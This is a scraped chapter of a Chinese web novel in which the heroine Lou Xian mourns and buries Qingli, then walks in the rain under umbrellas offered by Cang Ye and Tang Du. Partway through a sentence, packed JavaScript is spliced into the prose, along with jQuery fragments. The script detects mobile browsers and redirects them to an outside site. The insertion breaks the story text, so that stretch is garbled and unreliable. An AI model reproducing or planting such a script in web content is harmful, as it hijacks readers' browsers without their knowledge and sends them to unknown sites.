31. 多谢你的伞

作品:《魂引

    焰火纷纷扬扬,绚烂夺目,可美好的东西总是短暂。


    光华落下,天幕重降黑夜,唯有街上繁灯闪烁。


    “真好看啊。”拂琵忍不住感慨,脸上尽是意犹未尽的表情。


    陈御裴一听,见机道:“拂琵姑娘喜欢看焰火?”


    他来了劲:“不如哪天我也为你备个焰火集,整夜整夜放,你喜欢什么样式的?”


    陈御裴眨着眼睛看她,拂琵后退一步,拘谨挥挥手:“……不用,我只是感叹焰火之美,并不是有多喜欢……”


    这小子。


    娄弦斜了一眼,将拂琵拉到身旁。


    像陈御裴这样的花花公子,做朋友可以,做情人,那可得离他远些。


    拂琵心软好说话,陈御裴长了张勾人的脸,又惯会花言巧语,若拂琵真陷进去,日后指不定得吃多少亏。


    “天色不早,回去睡觉了。”娄弦打断陈御裴的殷勤,转身朝山下走去。


    拂琵无奈看了他一眼,搀着青鲤跟在娄弦身后。


    唐渡正要下山,陈玉茴咬了唇,终于下定决心叫住他:“唐道长,我有些话要同你说。”


    小环曾说,对一个人的心迹要早日表明,若藏着掖着,最容易失去。


    今日吃饭她便有了这种感觉,那种抓不住即将失去的感觉。


    夜风拂过,娄弦侧目顿步,只微微一瞬,又迈出步子继续向前。


    “什么事……”


    二人的声音越来越远,最后完全消散在耳边。


    月轮高挂,焰火后是无边的沉寂。


    鱼儿探头,小巷安睡,落叶漂浮在落雨池缸里,漂漂悠悠。


    娄弦双手枕在脑袋下,睁睛看着床幔,睡意全无。


    她翻身侧躺,月光照来,看着凹凸石砖上的横纹。


    他们会说些什么……答些什么……


    疯了。


    娄弦再次翻身躺平,强行闭上眼。


    自己真是病的不轻,眼下这个节骨眼上竟然在意儿女情长,不如想想怎么快些找全魂珠,重回刹冥台手刃叛徒。


    她重重呼出一口气,睡去。


    睡意还未袭来,一道光芒倏然照亮整间屋子,有什么东西猛然撞进了娄弦身体。


    她陡然睁眼,惊愕看着床幔。


    娄弦僵硬着身子,感受心口某处空缺被填满,暖意生长,渐渐融合。


    屋内光亮消去,娄弦抬手捂上心口。


    那原本属于她的东西在这一刻归位了。


    所以……


    “……青鲤。”娄弦喃喃。


    山峦笼罩在沉沉雾霭之中,影影绰绰,看不真切,远处庙宇钟声悠悠回荡在空旷的山谷。


    窗户紧闭,没有风的吹拂,显得格外清冷。香炉中的青烟袅袅升起,屋子里静极了。


    青鲤双目紧闭,安静的躺在床榻之上,仿佛只是沉沉睡去,待睡足够了就会醒来。


    “怎么会……明明昨夜还好好的……”拂琵的声色带着哀伤。


    昨夜还一起看焰火许愿的人,今日却再也醒不过来了。


    娄弦神色黯淡,她比大家更早知道青鲤是何时走的。


    她捂上心口,昨夜的暖意已经散去。


    “青鲤的身体她或许自己清楚,日夜的疼痛虽被缓解,可也不是假的,现在她终于不用承受这痛苦,我们应为她高兴。”唐渡在一旁默声道。


    柳式通的药虽能缓解青鲤的痛苦,可这些磨难终归是要她自己承受,没有人可以感同身受。


    眼下彻底解脱了,或许,她已经见到阿汝了。


    “好事。”娄弦依旧是那句话,所有的一切都是好事。


    “找个好地方,将青鲤葬了吧。”娄弦道。


    生有根,死有归,青鲤也该有个归途。


    青鲤被葬在了阿含谷灵气充沛的地方,连同阿汝的灵牌一起。


    天气灰蒙蒙的,乌云堆聚,是个阴天,石碑上刻着:青鲤阿汝同祭。


    陈御裴在青鲤的碑前站了会儿,说是要回去送陈玉茴。


    当初因怨魂一事,陈玉茴跟着妖殿司的人来了荆州,眼下怨魂的事告一段落,妖殿司的人也准备回京,陈玉茴自然也是要回去了。


    只是……


    拂琵疑惑:“前些日玉茴姑娘还说想在荆州多待几日,怎么说走就走了。”


    一旁的唐渡面目平静解释:“或许是家里人担心,来信催促。”


    也是。


    陈玉茴是个女子,外头的暗藏的麻烦总比男子多些,家人也难免更担忧。


    娄弦看着石碑没有说话,不知在想什么。


    唐渡抬头看了看天,转了话道:“快些走吧,瞧着要下雨了。”


    二人离去,见娄弦只身未动,依旧在看青鲤的石碑。


    “阿弦?”拂琵唤她。


    娄弦头也不回:“你们先走吧,我想一个人待会儿。”


    拂琵抬头,黑云比刚才更浓密了些。


    她顿声道:“那你别待太久了,马上下雨了。”


    “好。”娄弦应道。


    唐渡瞧着她,本想说些什么,可话到嘴边又咽了下去,最后转身离去。


    整个林间只剩下娄弦一人。


    她目色不明看着青鲤的石碑,可眼神分明是在想别的事情。


    怨魂已除,身上的伤也已痊愈。


    刹冥台易主,情况未知,魂珠只寻回一半,有太多的事等着她去做,她没有在阿含谷待下去的理由。


    是时候离开了。


    可是……


    昨夜的焰火太过绚烂,那些美好的东西总是那么吸引人。


    可她无法抓住。


    她独来独往惯了,在这一切发生之前,她没有朋友,没有她在乎和在乎她的人,所以她对谁都不手软。


    可现在不一样了。


    拂琵重情,单纯又良善,往后的路凶险未知,她不想拖累拂琵。


    还有那人。


    脸上有冰凉的东西落下。


    她伸手一摸,抬头看天,一滴雨水落在她眼尾。


    空中豆大的雨点瞬间齐齐落在身上。


    “下雨了。”娄弦轻喃。


    她叹了口气,像是下定某种决心。


    还是不要找人一起淋雨的好,雨点打在她身上就好,免得把旁人淋湿。


    她抬手挡雨加快步子跑起来,视线被遮挡,娄弦看不清眼前的路,身影穿梭,恍然间和谁撞了个满怀,她一个踉跄没站稳,一双有力的手即刻扶住她。


    土壤在雨中迸发出醇厚而湿润的气息,与鼻尖滑过的竹香融合在一起,雨珠从伞间落下,连成一线。


    顺着伞柄骨节分明的手往上,伞下那张熟悉的脸正望着娄弦。


    苍邺身上带着雨气,身上却未被雨水打湿,依旧是一脸从容的模样:“你们还真会找地方。”


    娄弦这才意识到,他们将人葬在了某人静心养伤的地方……


    娄弦将手从苍邺手中挣脱而出,保持了距离说:“青鲤离你养伤的地方还有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645695|172407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些距离,你可别污蔑我没帮你保守秘密。”


    苍邺突地笑出声,语气怪异:“我又没说怪你。”


    说得倒像是娄弦先误会了他。


    二人同撑一伞,耳边是雨打在油纸伞的轻撞声,如玉琴轻弹,时急时缓。


    雨幕若纱,又似烟似雾,模糊的叫人看不清。


    街巷中的石板路被雨水洗刷光亮,雨水落进池中,涟漪出片片水花。


    雨淅淅沥沥下个不停,朦胧之中,有一道声音清楚传来:“娄弦,我给你拿了伞。”


    第一次听见唐渡叫自己名字了。


    娄弦诧异转头,正见唐渡一袭道袍慢步走来,他的道袍被打湿一角,几缕微散的发丝落在额角,像是来的匆忙。


    他撑着一把伞,又将手中另一把伞撑开递到娄弦面前,静静等待她接过。


    娄弦站在二人中间,雨噼里啪啦落下,唐渡的袖袍处沾了雨水,打湿大片,连递伞的手也沾了雨珠,可仍旧固执不肯收手。


    娄弦静默半晌,下一刻她伸出手,接过了唐渡递来的油纸伞,触过他的指尖,有些发凉。


    “走了。”娄弦打开伞,背对着苍邺,随意朝他挥手。


    苍邺挂了笑:“好。”


    他望着二人离去的背影,勾了勾嘴唇,朝反方向走去。


    路上,唐渡娄弦一人撑一把伞,并排走在一起,谁也没有说话。


    唐渡率先打破沉默:“上回你去见的人,是他?”


    唐渡并不确定,只是心中隐隐有些猜测。


    方才见天快下雨,娄弦又迟迟没有回来,怕她淋湿,这才找了伞特意回去找她,没想到碰巧看见刚才那一幕。


    二人相谈的神色,并不像是陌生人,倒像是,朋友。


    一个他从未见过,也未听娄弦提起的朋友。


    娄弦笑出了声,转头看向唐渡:“你好奇?”


    雨伞恰巧遮住唐渡上半张脸,看不全他的表情。


    雨珠顺着伞面嘀嗒落下,唐渡迟迟没有说话。


    娄弦敛了表情,转过头道:“管它黑猫白猫,能抓到老鼠的就是好猫。”


    不管她上回去见了谁,最终还是找人将青鲤体内的怨魂引出来了,还把其余怨魂也收了,结果是好的。


    可娄弦说的话显然并不是唐渡想听的。


    他撑伞的步子稍稍有些加快了。


    娄弦察觉到他有些生气,忽感到好笑:“唐道长,昨夜玉茴姑娘独独找你留下说话我也没有多问,你在生什么气?”


    生什么气?


    是啊,他在生什么气?


    唐渡的脚步忽然停了。


    娄弦慢步跟了上去,伸手将唐渡握伞的手抬了抬,直到完全露出伞下那张清俊的脸。


    这张脸有些愠怒,像是被人拆穿又不愿承认的别扭。


    唐渡握伞的手略紧,强行逼自己直视娄弦的眼睛,仿佛只有这样,才能证明他的“生气”是合理的。


    娄弦细细打量他的表情,忽然“呵”了一声:“唐道长,你修为不够啊。”


    连掩饰自己的情绪都不会。


    抬在腕间的手忽然抽离了,娄弦转身离去。


    烟雨中,那抹撑着油纸伞的红影修长,远去的背影利落又不带留恋。


    唐渡喉间滚动,正欲开口:“昨夜——”


    “唐道长,多谢你的伞。”娄弦头也不回的打断。


    有些事她也不是非知道不可。


    反正,以后也不一定会再见了。